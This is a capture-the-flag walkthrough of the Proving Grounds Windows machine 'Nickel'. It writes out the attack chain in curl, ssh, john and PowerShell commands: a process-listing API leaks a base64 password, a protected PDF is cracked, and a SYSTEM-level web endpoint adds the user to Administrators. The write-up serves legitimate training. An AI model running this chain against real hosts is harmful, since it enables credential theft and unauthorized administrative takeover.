# Nickel Writeup - Proving Grounds
> Intermediate Windows box where a custom API leaks a base64-encoded password through a process listing, and a cracked PDF reveals a SYSTEM-level command endpoint used to add the account to Administrators.
- **URL:** https://hackindex.io/writeups/nickel
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** information-disclosure, hash-cracking, command-injection, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08
Nickel's internal DevOps dashboard links to a custom API that, with the right POST request, dumps the full process list and leaks a base64-encoded password for a low-privileged account over SSH. That account's FTP folder holds a password-protected PDF; cracking it reveals a hidden PowerShell web service that already runs as SYSTEM and executes whatever command is appended to its URL, which a quick request against `localhost` uses to add the account straight into the local Administrators group.
## Reconnaissance
### Nmap
Scan all TCP ports.
```bash
sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT STATE SERVICE VERSION
# 21/tcp open ftp
# 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
# 135/tcp open msrpc Microsoft Windows RPC
# 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
# 445/tcp open microsoft-ds
# 3389/tcp open ms-wbt-server Microsoft Terminal Services
# 5040/tcp open unknown
# 8089/tcp open http Splunkd httpd
# 33333/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# 49664-49670/tcp open msrpc Microsoft Windows RPC
```
Anonymous FTP fails and SSH is Windows OpenSSH. Port 8089 fingerprints as Splunk but actually serves a custom DevOps Dashboard, and port 33333 is an unusual custom HTTP API worth a closer look.
### DevOps Dashboard (port 8089)
```bash
curl -s http://$TARGET_IP:8089/
# ...Internal API...
```
The dashboard links straight to the service on port 33333.
### API discovery (port 33333)
```bash
curl http://$TARGET_IP:33333/
# Invalid Token
```
GET requests are rejected. Switching to POST, and enumerating the dashboard's linked paths, turns up a `/list-running-procs` endpoint.
## Initial Foothold
### Leaking credentials via process listing
The endpoint only returns proper output when `Content-Length: 0` is set explicitly on the empty POST body; without it the response is a malformed HTML stub instead of the process list.
```bash
curl -s -X POST http://$TARGET_IP:33333/list-running-procs -H "Content-Length: 0"
# cmd.exe /Q /c "cd \\ftp & echo open $TARGET_IP>commands.txt & echo USER ariah>>commands.txt & echo Tm93aXNlU2xvb3BUaGVvcnkxMzk=>>commands.txt & ..."
```
The dump exposes a scripted FTP login whose password arrives base64-encoded in the command line. Decode it.
```bash
echo 'Tm93aXNlU2xvb3BUaGVvcnkxMzk=' | base64 -d
# $ARIAH_PASSWORD
```
Base64 is encoding, not encryption, so it falls apart instantly. Try the recovered credential over SSH.
```bash
ssh ariah@$TARGET_IP
# ariah@$TARGET_IP's password:
# ariah@NICKEL C:\Users\ariah> whoami
# nickel\ariah
```
Shell as `ariah`. The leaked FTP script referenced `C:\ftp\`, so check what else lives there.
## Privilege Escalation
### Retrieving and cracking Infrastructure.pdf
```bash
scp ariah@$TARGET_IP:C:/ftp/Infrastructure.pdf .
```
The PDF is password-protected. Extract a crackable hash with `pdf2john` and run it through John.
```bash
pdf2john Infrastructure.pdf > pdf_hash.txt
john pdf_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Infrastructure.pdf:$PDF_PASSWORD
# 1g 0:00:00:00 DONE
```
Opening the PDF with the cracked password reveals internal infrastructure notes: a temporary command endpoint at `http://nickel/?`, a backup system at `http://nickel-backup/backup`, and a NAS at `http://corp-nas/files`. The command endpoint is described as a PowerShell-based web server that runs commands supplied through its URL query string.
### Command execution as SYSTEM
The hostname `nickel` doesn't resolve locally, but the service is bound to the loopback interface, so `localhost` reaches it from the SSH session.
```powershell
powershell -c "$Resp = Invoke-WebRequest 'http://localhost/?whoami' -UseBasicParsing; $Resp.RawContent"
# HTTP/1.1 200 OK
# Server: Powershell Webserver/1.2 on Microsoft-HTTPAPI/2.0
# nt authority\system
```
Confirmed: the endpoint executes as `nt authority\system`. Use it to add `ariah` to the local Administrators group.
```powershell
powershell -c "Invoke-WebRequest 'http://localhost/?net localgroup administrators ariah /add' -UseBasicParsing"
```
With `ariah` now a local administrator, the SYSTEM-level command endpoint has handed over full control of the box.
Related